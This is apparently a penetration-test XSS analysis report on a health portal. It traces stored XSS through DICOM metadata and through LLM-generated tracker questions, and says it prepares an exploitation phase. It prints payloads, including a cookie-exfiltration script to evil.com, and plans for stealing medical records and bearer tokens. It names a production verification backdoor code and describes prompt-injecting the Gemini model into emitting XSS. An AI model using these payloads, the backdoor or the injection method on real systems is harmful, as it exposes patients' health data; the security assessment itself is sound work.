11 KiB
Cross-Site Scripting (XSS) Analysis Report
1. Executive Summary
- Analysis Status: Complete
- Key Outcome: Two high-confidence Stored XSS vulnerabilities were identified in the inou health portal. Both vulnerabilities allow attackers to execute arbitrary JavaScript in victim browsers through malicious data injection. All findings have been passed to the exploitation phase via
deliverables/xss_exploitation_queue.json. - Purpose of this Document: This report provides the strategic context, dominant patterns, and environmental intelligence necessary to effectively exploit the vulnerabilities.
2. Dominant Vulnerability Patterns
Pattern 1: Client-Side innerHTML Without Sanitization
Description: The application uses Go's html/template engine for server-side rendering, which provides automatic context-aware HTML escaping. However, multiple client-side JavaScript functions bypass this protection by fetching JSON data from APIs and directly injecting it into the DOM using innerHTML and insertAdjacentHTML without any sanitization.
Implication: While server-side rendered content is safe, any data path that flows through API endpoints and is consumed by client-side JavaScript is vulnerable to XSS if the JavaScript uses unsafe DOM manipulation methods.
Technical Pattern:
// API returns JSON with unsanitized user data
const data = await fetch('/api/endpoint').then(r => r.json());
// JavaScript builds HTML string with template literals
const html = `<div>${data.userControlledField}</div>`;
// Direct injection into DOM without sanitization
element.innerHTML = html; // XSS!
Representative Findings: XSS-VULN-01 (DICOM metadata), XSS-VULN-02 (Tracker questions)
Root Cause: Split rendering architecture where Go templates protect server-side but client-side JavaScript lacks equivalent protections.
Pattern 2: Stored XSS via External Data Processing
Description: The application processes complex file formats (DICOM medical imaging, genetic CSV files) and LLM-generated content. These processing pipelines extract metadata and text that is stored in the database without HTML encoding. When this data is later rendered, it executes as JavaScript.
Implication: Any feature that processes external data formats or uses AI/LLM generation is a high-risk XSS vector unless explicit output encoding is implemented at the database storage layer or rendering layer.
Attack Vectors:
- DICOM Metadata Injection: Upload malicious DICOM file with XSS payload in SeriesDescription tag → Stored in DB → Rendered via innerHTML
- LLM Prompt Injection: Craft freeform input to manipulate LLM into generating XSS payload in tracker questions → Stored in DB → Rendered via innerHTML
Representative Finding: XSS-VULN-01 (external file format), XSS-VULN-02 (LLM generation)
Root Cause: Trust boundary violation - external untrusted data (DICOM files, LLM outputs) treated as safe and stored without encoding.
3. Strategic Intelligence for Exploitation
Content Security Policy (CSP) Analysis
Current CSP: No Content-Security-Policy header detected during reconnaissance.
Observation: The application does NOT implement CSP restrictions.
Implication for Exploitation:
- Inline JavaScript execution is permitted (no
script-srcrestrictions) - External script loading is permitted (no domain restrictions)
eval()andFunction()constructors are permitted- Inline event handlers (
onclick,onerror) are permitted
Exploitation Strategy: XSS payloads can use the most straightforward attack vectors:
<img src=x onerror=alert(document.cookie)>- Works<script>fetch('https://evil.com?c='+document.cookie)</script>- Works- Inline event handlers in HTML attributes - Works
Recommendation: Prioritize simple, direct payloads. No need for CSP bypass techniques.
Cookie Security
Session Cookie Analysis:
- Cookie Name:
login - Cookie Value: Plain dossier ID (16-character hex, e.g.,
a1b2c3d4e5f67890) - Cookie Attributes:
HttpOnly=true, Secure=true, SameSite=Lax
Critical Finding: The HttpOnly flag is set, which prevents JavaScript from accessing the session cookie via document.cookie.
Alternative Session Token:
- Token Name:
session(used by some API endpoints) - Token Storage: May also have HttpOnly flag (requires verification)
Bearer Token Exposure:
- Location: Mobile/API session tokens stored in
Dossier.SessionTokenfield - Characteristics: 64-character hex string, never expires
- Access Method: API endpoint
/api/v1/dashboardreturns this token in JSON
Exploitation Strategy (Updated): Since session cookies are HttpOnly-protected, exploitation should focus on:
- Action-based attacks: Perform unauthorized actions on behalf of the victim (CSRF via XSS)
- Data exfiltration: Steal sensitive medical records via API calls from victim's session
- Token harvesting: Use XSS to call
/api/v1/dashboardand extract non-HttpOnly bearer tokens - Credential harvesting: Inject fake login forms to capture email addresses during verification flow
Primary Exploitation Goal: Data exfiltration and unauthorized medical record access, NOT cookie theft.
Authentication Flow Analysis
Passwordless Email Verification:
- Mechanism: 6-digit verification codes sent via email
- Backdoor Code:
250365(testing backdoor left in production) - Implication: Attacker can create arbitrary accounts without email access
Session Duration:
- Portal Cookies: 30 days (long-lived)
- Mobile Session Tokens: Never expire
- OAuth Access Tokens: 15 minutes (then must refresh)
Exploitation Consideration: XSS payloads have a 30-day window to execute against victims who remain logged in.
Database Encryption
At-Rest Encryption:
- Mechanism: AES-256-GCM encryption via master key at
/tank/inou/master.key - Coverage: All Entry records, Access grants, Dossier data encrypted in SQLite
Implication for XSS: Database encryption does NOT prevent XSS because:
- Data is decrypted before being sent to API endpoints
- API returns plaintext JSON to authenticated users
- XSS executes in the victim's authenticated session context
- Encryption protects data at rest, not data in transit to authenticated users
Exploitation Impact: XSS can still exfiltrate all medical records that the victim has access to.
4. Vectors Analyzed and Confirmed Secure
These input vectors were traced and confirmed to have robust, context-appropriate defenses.
| Source (Parameter/Field) | Endpoint/File Location | Defense Mechanism Implemented | Render Context | Verdict |
|---|---|---|---|---|
User name field |
/onboard, /dossier/{id}/edit |
Go html/template auto-escaping |
HTML_BODY | SAFE |
User email field |
/verify, /dashboard |
Go html/template auto-escaping |
HTML_BODY | SAFE |
Dossier Name |
All template-rendered pages | Go html/template auto-escaping |
HTML_BODY | SAFE |
Form recipient_name |
/dossier/{id}/share |
Go html/template auto-escaping |
HTML_BODY | SAFE |
DICOM patient_name |
/viewer/ overlay display |
textContent assignment (JS) |
HTML_BODY | SAFE |
DICOM study_desc |
/viewer/ overlay display |
textContent assignment (JS) |
HTML_BODY | SAFE |
URL redirect_uri |
/oauth/authorize |
Whitelist validation | URL_PARAM | SAFE |
| JSON API responses | /api/v1/dossiers, /api/v1/entries |
N/A (consumed by client apps) | JSON | SAFE |
| Genetics data (gene, rsid, summary) | /api/genome, /api/categories |
Stub implementation (returns empty) | N/A | NOT EXPLOITABLE |
Notes on Safe Paths
Go html/template Protection:
The Go html/template package provides automatic context-aware escaping for all server-side rendered content. All instances of {{.Variable}} in .tmpl files are automatically escaped based on their HTML context (HTML body, attribute, JavaScript string, URL, etc.). This protection is robust and comprehensive for server-side rendering.
Example of Safe Server-Side Rendering:
<!-- dossier.tmpl - User name is auto-escaped -->
<span class="nav-user-name">{{.Dossier.Name}}</span>
<!-- If Name = "<script>alert(1)</script>", rendered as: -->
<span class="nav-user-name"><script>alert(1)</script></span>
textContent vs innerHTML:
The viewer.js overlay uses textContent for patient names and study descriptions (viewer.js:167, 169), which automatically escapes HTML. This is the correct safe approach for displaying untrusted text.
Genetics API Non-Functional:
While the client-side code in dossier.tmpl contains vulnerable innerHTML injection for genetics data (lines 568-644), the actual API endpoints /api/genome and /api/categories are implemented as stub functions that return empty data (lib/stubs.go:449-462). Therefore, this code path cannot be exploited in the current deployment.
5. Analysis Constraints and Blind Spots
Testing Limitations
External Attacker Scope:
- Analysis was conducted from an external attacker perspective accessing
https://inou.comfrom the internet - No internal network access, VPN, or direct server access was available
- Cannot test localhost-only endpoints (API server on port 8082, DICOM viewer on port 8765)
Authentication Barriers:
- Email verification required for account creation (6-digit codes sent to real email addresses)
- Backdoor code
250365documented but not tested in live environment - Could not create test accounts to verify live XSS execution
- Analysis based on comprehensive source code review and data flow tracing
DICOM File Processing:
- DICOM file upload and processing requires authenticated session
- External
/tank/inou/bin/import-dicombinary source code analyzed (main.go in import-dicom repo) - Could not upload actual malicious DICOM files to verify XSS execution
- Vulnerability confirmed through complete source-to-sink code trace
LLM Integration:
- Tracker question generation uses Google Gemini API
- Could not test prompt injection against live LLM to confirm XSS payload generation
- Vulnerability confirmed through code analysis showing no sanitization of LLM outputs
Code Coverage
Files Analyzed:
- ✅
/repos/inou-portal/portal/- All handlers, templates, static JavaScript - ✅
/repos/inou-portal/api/- All API endpoints and handlers - ✅
/repos/inou-portal/lib/- Database layer, RBAC, encryption - ✅
/repos/inou-portal/main.go- DICOM import binary - ✅ All
.tmpltemplate files for server-side rendering - ✅ All
.jsstatic files for client-side behavior
Potential Blind Spots:
- Minified or bundled JavaScript (none identified in codebase)
- Third-party JavaScript libraries (minimal external dependencies found)
- WebSocket or real-time communication channels (none identified)
- Browser extensions or mobile app code (out of scope)
Confidence Levels
High Confidence Findings (2):
- XSS-VULN-01: DICOM series_desc injection - Complete source-to-sink trace with no sanitization
- XSS-VULN-02: Tracker question injection - Complete source-to-sink trace with LLM prompt injection vector
Not Exploitable (1):
- Genetics data innerHTML injection - Stub API implementation returns empty data
Safe Paths (8):
- All server-side Go template rendering
- DICOM patient_name and study_desc (uses textContent)
- All documented in Section 4 table